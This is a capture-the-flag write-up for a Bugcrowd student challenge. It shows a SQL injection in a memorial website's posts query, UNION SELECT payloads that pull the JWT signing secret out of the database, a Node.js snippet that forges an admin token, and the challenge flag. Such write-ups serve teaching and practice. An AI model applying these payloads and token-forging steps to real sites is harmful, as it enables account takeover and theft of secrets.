Bugcrowd Student Finale CTF 2025 Writeup: MadDog Memorial
Here, I had to find a way to get the admin flag from a memorial website. The site assigns regular visitors random usernames, but the flag is restricted to admins only. I needed to figure out how to trick the system into believing I was the administrator.
1. The Vulnerability: SQL Injection
I started by analyzing the source code to understand how the application handles data. It didn't take long to find the weak spot: a classic SQL Injection (SQLi) vulnerability.
The Code Analysis
I located the vulnerability in challenge/database.js on line 48:
let stmt = `SELECT * FROM posts WHERE id='${id}'`;
This line basically says, "Show me posts where the ID equals whatever the user typed."
The issue here is that the application doesn't sanitize or check the id before sending it to the database.
- If I type
1, the query becomes:WHERE id='1'(Safe). - If I type
' OR 1=1 --, it becomes:WHERE id='' OR 1=1 --'(Dangerous).
Because I can close the quote and inject my own SQL commands, I can manipulate the database into doing things it wasn't designed to do.
2. Enumerating the Database
Before I could steal sensitive data, I needed to understand the database structure. specifically, I needed to know how many columns existed in the posts table.
This is crucial because I planned to use a UNION SELECT attack. To grab data from other tables using UNION, my injected query must have the exact same number of columns as the original query.
I tested this by injecting NULL values until the error messages stopped:
/posts/' UNION SELECT NULL --
/posts/' UNION SELECT NULL, NULL --
/posts/' UNION SELECT NULL, NULL, NULL --
/posts/' UNION SELECT NULL, NULL, NULL, NULL --
When I tried 4 NULLs, the website loaded without error. This confirmed that the posts table has exactly four columns.
3. Stealing the JWT Secret
With the column count confirmed, I turned my attention to the authentication mechanism: JSON Web Tokens (JWT).
The Problem
JWTs act like digital ID cards. They contain your username and a cryptographic signature to prove the ID is real. The website uses a "secret key" to sign these tokens. This key was stored in a database table called keystore.
If I could steal that secret, I could sign my own tokens and become anyone I wanted.
The Extraction
I used the SQL injection vulnerability to query the keystore table and display the secret on the screen. Here is the payload I used:
/posts/' UNION SELECT NULL, secret, NULL, NULL FROM keystore WHERE kid='2' --
Breakdown of the payload:
'— Closes the original query.UNION SELECT— Appends my malicious query.NULL, secret, NULL, NULL— I placed thesecretin the 2nd column so it would appear on the webpage as the "Post Title."FROM keystore WHERE kid='2'— Targets the specific key used by the server.--— Comments out the rest of the original query.
The Result: The website executed the query and displayed the JWT secret right on the page as a post title.
4. Forging the Admin Token
Now that I had the secret key, I could mint my own "ID card."
I wrote a small script to generate a valid JWT. I changed the payload data to claim I was admin instead of visitor_xxx, and I signed it using the stolen secret.
const adminToken = jwt.sign(
{ username: 'admin' },
secret, // The secret I just stole
{
algorithm: 'HS256',
header: { kid: '2' } // Matching the key ID
}
);
Because the token was signed with the correct secret, the server would have no way of knowing I generated it myself.
5. Execution: Getting the Flag
The final step was to use the token. I visited the home page (/) and intercepted the request to modify the cookies.
I replaced my original session cookie with the forged admin token:
GET / HTTP/1.1
Cookie: session=[my forged admin token]
The server received the request, verified the signature (which was valid), read the username as admin, and authorized the request. The page loaded, revealing the flag.
The Flag is HTB{t4nn3n_fr4m3d_th3_mcFly}
(A nice reference to Back to the Future, where "Mad Dog" Tannen framed Marty McFly!)